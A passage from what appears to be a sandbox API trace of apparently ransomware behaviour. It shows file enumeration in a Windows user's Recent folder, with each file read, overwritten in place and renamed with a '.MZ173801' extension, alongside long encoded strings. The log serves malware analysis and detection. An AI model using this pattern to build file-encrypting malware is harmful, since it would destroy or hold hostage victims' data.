VCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.545] GetCurrentThreadId () returned 0x9fc [0120.545] GetCurrentThreadId () returned 0x9fc [0120.545] GetCurrentThreadId () returned 0x9fc [0120.545] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0120.545] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0120.545] GetCurrentThreadId () returned 0x9fc [0120.545] GetCurrentThreadId () returned 0x9fc [0120.545] GetCurrentThreadId () returned 0x9fc [0120.546] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\36rYiOW9I_Vo91vZ8DQ2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\36ryiow9i_vo91vz8dq2.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.546] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.546] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.546] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x2b4 [0120.546] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.546] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x2b4, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x2b4, lpOverlapped=0x0) returned 1 [0120.547] CloseHandle (hObject=0x288) returned 1 [0120.547] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\36rYiOW9I_Vo91vZ8DQ2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\36ryiow9i_vo91vz8dq2.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.548] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x2b4, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x2b4, lpOverlapped=0x0) returned 1 [0120.549] CloseHandle (hObject=0x288) returned 1 [0120.591] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\36rYiOW9I_Vo91vZ8DQ2.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\36ryiow9i_vo91vz8dq2.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\36rYiOW9I_Vo91vZ8DQ2.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\36ryiow9i_vo91vz8dq2.lnk.mz173801")) returned 1 [0120.592] GetCurrentThreadId () returned 0x9fc [0120.592] GetCurrentThreadId () returned 0x9fc [0120.592] GetCurrentThreadId () returned 0x9fc [0120.592] GetCurrentThreadId () returned 0x9fc [0120.592] GetCurrentThreadId () returned 0x9fc [0120.592] GetCurrentThreadId () returned 0x9fc [0120.592] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf02a2a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf02a2a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf02a2a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x13d3, dwReserved0=0x7a98342e, dwReserved1=0xa03bf443, cFileName="3PeJZ.mkv.lnk", cAlternateFileName="3PEJZM~1.LNK")) returned 1 [0120.592] FileTimeToLocalFileTime (in: lpFileTime=0x18fadc, lpLocalFileTime=0x18fa3c | out: lpLocalFileTime=0x18fa3c) returned 1 [0120.592] FileTimeToDosDateTime (in: lpFileTime=0x18fa3c, lpFatDate=0x18faaa, lpFatTime=0x18faa8 | out: lpFatDate=0x18faaa, lpFatTime=0x18faa8) returned 1 [0120.592] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3PeJZ.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\3pejz.mkv.lnk"), fInfoLevelId=0x0, lpFileInformation=0x18f9d0 | out: lpFileInformation=0x18f9d0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf02a2a0, ftCreationTime.dwHighDateTime=0x1d5e82a, ftLastAccessTime.dwLowDateTime=0xdf02a2a0, ftLastAccessTime.dwHighDateTime=0x1d5e82a, ftLastWriteTime.dwLowDateTime=0xdf02a2a0, ftLastWriteTime.dwHighDateTime=0x1d5e82a, nFileSizeHigh=0x0, nFileSizeLow=0x13d3)) returned 1 [0120.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1588 [0120.594] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", cchWideChar=1588, lpMultiByteStr=0x79079c, cbMultiByte=1588, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="N0I3RTdGMTAxNzYxOEM5OEREMjJEMkM4QTVBMzkxRkI5MEQ0Nzc4REEyQTYyQkI2NTg1N0FGNTEyQ0MxQTMzNEIxM0QyMTMyNDU2QzNBODk5Nzg4M0U4MDBGODJGM0YwNzMyRjMzNkI1NTUzQTE0MEY0NjFEMTZBMzc4N0UyMzE3RTE2RjU5RjMzODNFNDBEMTA2M0JCNjVDNjdCOEFCM0IzMEQxRkI3REYwMzBFQUNFMUFGMzE2NDMwNTUzMDBCOTQ4NjBBMEMwNTEyNjIyMDhGREM5OUNBMDIyNzAxRDA5QkY1NjA0MzRFMEQxMDIzNUQzNDJCMEI1QTJFNzQ4Njg3MjBDRUE0RjE2OThGNTQxRUUzM0Y1ODIwOTM4OTY0NkJBMUIxODQxM0NBREY0RUNFNjkzRjExMUNGOUM5QkJBMEM3RTdENjg0MUI5OTVFOEIwOTY2MThCMUVGNDZBMUQ1MzJEMEQwRjMyN0IyRENEQkJBNDA4RDQxMjA4QjE2Q0Q4NjNEMzU5RDExRTRGNzg4RTUyQjJEQTk5MEFFRkVCMkNBQTAwNkJBMTcyNkQyOTJGODY2RDZCNjQyNEQxNkYwQzlFREI2MzA5NTM2NkI0QzgyODBGNzAxNjA4RjIzM0JEMTk4MTZBNEYwMUQ5NjIxMzZGQjZDRDA0MkY1QTA3QzIzNjY3NTk1RTg3QjJDRjAwQzI5NTAyNjRBRDgyMEMxMzIxMDUzMjMyQTdCQTJGRENFOUYzRkY0MTdCQ0VDQkM3NzVFQzA0OEJFQzBDMDUzQzhBMjEzQjg2MUREMzZGNkRERjkyOERDOTVBOUQ2QkYyQjA3NDVFRTJCRDEyNjhDRjFBQzU5MjdGRUJBM0UxNjhBMTY3RTlENDcwN0NDQjFGNDQ0NkZBQTIyMzQxNjcyNEU2OEQ3QUJGRTA2RkVGRERDOEUwNzQ3QjRERjk0NTEzRTg3RTdDQzg3MjA5QjFFMTAzODFCQ0EzNkVEQjc1NzBBMUY5NDZGNzIyRjQ4MzZEQTQzRjVERjYxMkE2NDZERjI5QzI0QjIzRDQ5QTE5Q0ZBNkY1RkFFM0JFOTU2QzFFOUFCNENBMEFFNTgyQkRGRDE5MDgxN0NCN0RBNDFEODQ3RUMxMUYxOEE5NTIxQ0Y4NDk4RDRGQjAwNjJCMTdBNDZGMEY2MTlEREVGRTU5NERBNkQ1RUVDOEY1MTE2OTVCNTc2RUU2Q0QyOUU4MTlDMUZENTM2OUI5NjAzREI3RDAzMTQwQUQ5QkQ3NDI1Nzg0MUQ3NDIzM0U0NDgxRjk5NTU3QzBEMkRGRjBFQUEyMDEzNUQ5NkFDMzI4REZCREE0MjUzRjdGMjEyMEZDRkMwQzk0Rjg4Qjk2NkE4OUQ0MDM2NjEzNzkwRERFNTVCRDk0Q0E5MTlCRjZGMTZDQzI1M0Q2REFEMUIwMjk4REJGNDM3Nzg3RUVCODlBMTQ2MjZEQTAxNjc0NTlENzhFNTRCQjlBOTQ3NEFGQkU3RUUwNzcwMDYyM0RFQzg4RkI1RTJBNDNCQTdBNjM2QjUyMjBGRTczN0NEMTJENDNGQ0Y2RDhENEU=", lpUsedDefaultChar=0x0) returned 1588 [0120.595] GetCurrentThreadId () returned 0x9fc [0120.595] GetCurrentThreadId () returned 0x9fc [0120.595] GetCurrentThreadId () returned 0x9fc [0120.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 428 [0120.595] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", cchWideChar=428, lpMultiByteStr=0x78856c, cbMultiByte=428, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="M0E4Q0JFQzNBQ0EzMzE0MjRDQ0FGODYwQzEzRTM1OTdDOThGQTIzOTA5NDc5NTRCMEFCMjEyODg1MkU4MUUwRTM4OUMxOTlGMDk0Q0Y4Njg0QzUwMEU5QUU4MzBGRjNGMzU5Q0JFODVFRkEyMUUzNkFEOUI0RTI5NEZFQkNCNDRDMkVBM0RDNjU2NENDMTA0OThCODBFQTBCOTc2RkIxQkFGNEVDRjQ4QjJFODVGQThERDVENDlGOEY1NjUxQkY3QUVDMzg4MUNDMTQ4M0NBOEVBQkU5N0MzNjgxM0ZEMkNCNDBGNkE0MERBRTcyRjJFNzAyRUFENEZDMkMzQjgzMkM0RUFGNzRBQUQzODI5RjkzRjkwOUU3NjdCOURCQjk0OTZCQjlCOEVCNDkzNkI3OUJDMzc3OUJENTdBNEI2NTE=", lpUsedDefaultChar=0x0) returned 428 [0120.595] GetCurrentThreadId () returned 0x9fc [0120.595] GetCurrentThreadId () returned 0x9fc [0120.595] GetCurrentThreadId () returned 0x9fc [0120.595] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3PeJZ.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\3pejz.mkv.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.595] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f984*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f984*=0) returned 0x0 [0120.596] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.596] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x13d3 [0120.596] SetFilePointer (in: hFile=0x288, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f97c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f97c*=0) returned 0x0 [0120.596] ReadFile (in: hFile=0x288, lpBuffer=0x7a02a0, nNumberOfBytesToRead=0x13d3, lpNumberOfBytesRead=0x18f990, lpOverlapped=0x0 | out: lpBuffer=0x7a02a0*, lpNumberOfBytesRead=0x18f990*=0x13d3, lpOverlapped=0x0) returned 1 [0120.597] CloseHandle (hObject=0x288) returned 1 [0120.597] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3PeJZ.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\3pejz.mkv.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x288 [0120.598] WriteFile (in: hFile=0x288, lpBuffer=0x7a22d0*, nNumberOfBytesToWrite=0x13d3, lpNumberOfBytesWritten=0x18f99c, lpOverlapped=0x0 | out: lpBuffer=0x7a22d0*, lpNumberOfBytesWritten=0x18f99c*=0x13d3, lpOverlapped=0x0) returned 1 [0120.599] CloseHandle (hObject=0x288) returned 1 [0120.606] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3PeJZ.mkv.lnk" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\3pejz.mkv.lnk"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\3PeJZ.mkv.lnk.MZ173801" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\recent\\3pejz.mkv.lnk.mz173801")) returned 1 [0120.607] GetCurrentThreadId () returned 0x9fc [0120.607] GetCurrentThreadId () returned 0x9fc [0120.607] GetCurrentThreadId () returned 0x9fc [0120.607] GetCurrentThreadId () returned 0x9fc [0120.607] GetCurrentThreadId () returned 0x9fc [0120.607] GetCurrentThreadId () returned 0x9fc [0120.607] FindNextFileW (in: hFindFile=0x2fc680, lpFindFileData=0x18fac8 | out: lpFindFileData=0x18fac8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf1cd1c0, ftCreationTime.dwHighDateTime=0x1d5e82a, 